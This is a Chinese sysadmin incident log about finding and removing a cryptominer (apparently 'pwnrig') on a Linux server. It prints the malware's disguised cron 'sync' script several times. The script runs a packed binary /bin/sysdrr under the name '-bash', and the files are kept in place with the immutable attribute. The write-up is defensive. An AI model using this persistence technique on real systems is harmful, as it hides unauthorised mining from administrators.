运维播报
前言
上篇文章详见:Linux系统占用cpu病毒处理记录
在昨天设置好定时关闭病毒进程的任务后,今天早上检查一下效果,查看回写日志信息,如下图:
今天继续查找病毒源头。
实时记录
由于直接通过crontab -l命令无法查到真实定时任务,只能通过排查/etc下的cron相关文件进行排查分析。
首先/etc/cron.d目录下存在0hourly文件,查看内容如下:
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.d/0hourly
# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly
对以上内容进行分析,run-parts命令是指遍历目标目录,执行第一层目录下的可执行权限的文件。
然后查看/etc/cron.hourly目录,继续分析:
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/
0anacron sync
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/0anacron
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi
# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power >/dev/null 2>&1
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s
[root@MiWiFi-R2D-srv ~]# cat /var/spool/anacron/cron.daily
20210925
[root@MiWiFi-R2D-srv ~]#
在/etc/cron.hourly目录下,有两个可执行文件,分别是0anacron和sync文件,首先查看0anacron文件内容,并查看内容中关联的/var/spool/anacron/cron.daily文件,暂时没有异常,暂放一旁。
继续对sync文件查看分析:
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/sync
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# ll /bin/sysdrr
-rwxr-xr-x. 1 root root 1878496 May 5 2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# cat /bin/sysdrr
▒▒L▒▒LX▒▒ ELF>▒@▒▒▒▒▒YQ▒td▒%▒nUPX!$
……
sync中有个异常命令cp -f -r -- /bin/sysdrr /usr/bin/-bash
,结合之前病毒的进程信息以及查看进程的关联文件信息,初步确认应该是此命令与病毒有关,通过cat查看/bin/sysdrr的文件内容,应该是文件格式不对,直接导致乱码并刷屏,终止查看进程。
既然找到源头文件,开始对源头文件进行处理:
[root@MiWiFi-R2D-srv ~]#
[root@MiWiFi-R2D-srv ~]# ll /bin/sysdrr
-rwxr-xr-x. 1 root root 1878496 May 5 2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# ll -h /bin/sysdrr
-rwxr-xr-x. 1 root root 1.8M May 5 2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# mv /bin/sysdrr bin-sysdrr.bak
mv: cannot move ‘/bin/sysdrr’ to ‘bin-sysdrr.bak’: Operation not permitted
[root@MiWiFi-R2D-srv ~]# lsattr /bin/sysdrr
----i----------- /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# chattr -i /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# mv /bin/sysdrr bin-sysdrr.bak
[root@MiWiFi-R2D-srv ~]#
对源文件进行转移并重命名操作,提示Operation not permitted,此账号是root,竟然也有权限限制,通过查找资料了解到,由于文件被增加了i属性,导致文件不能被修改,更不可被删除,即使是root用户也不行。【参考链接:root用户被提示:Operation not permitted】
通过lsattr命令查看文件属性,确实有i属性,并通过chattr -i 去掉文件的属性,之后可正常对文件进行操作。
同时对定时任务中的sync文件进行相同操作:
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.hourly/sync etc-cron.hourly-sync.bak
mv: cannot move ‘/etc/cron.hourly/sync’ to ‘etc-cron.hourly-sync.bak’: Operation not permitted
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/sync
----i----------- /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/
---------------- /etc/cron.hourly/0anacron
----i----------- /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.hourly/sync etc-cron.hourly-sync.bak
[root@MiWiFi-R2D-srv ~]#
知道以上情况后,快速查看其他/etc/cron开头目录的文件,查看是否包含i属性:
[root@MiWiFi-R2D-srv ~]# cd /etc/cron.
cron.d/ cron.daily/ cron.deny cron.hourly/ cron.monthly/ cron.weekly/
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.daily/
logrotate man-db.cron sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.daily/
---------------- /etc/cron.daily/logrotate
---------------- /etc/cron.daily/man-db.cron
----i----------- /etc/cron.daily/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.monthly/
----i----------- /etc/cron.monthly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.weekly/
----i----------- /etc/cron.weekly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.d
---------------- /etc/cron.d/0hourly
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/
---------------- /etc/cron.hourly/0anacron
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.deny
---------------- /etc/cron.deny
[root@MiWiFi-R2D-srv ~]#
发现在daily、monthly、weekly目录中,共有三个sync文件都带有i属性,按照上面的方法,对文件进行转移操作:
[root@MiWiFi-R2D-srv ~]#
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.daily/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.monthly/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.weekly/sync
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.daily/sync etc-cron.daily-sync.bak
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.monthly/sync etc-cron.monthly-sync.bak
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.weekly/sync etc-cron.weekly-sync.bak
[root@MiWiFi-R2D-srv ~]# cat etc-cron.daily-sync.bak
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# cat etc-cron.monthly-sync.bak
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# cat etc-cron.weekly-sync.bak
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]#
转移完成后,分别查看文件内容,确认所有文件的相同源文件都是基于/bin/sysdrr,以上操作完成后,应该不会再有病毒占用资源。
结尾
把之前设置的定时关闭病毒进程的定时任务去掉,并持续观察一段时间再做定论。
【记录于2021年9月25日】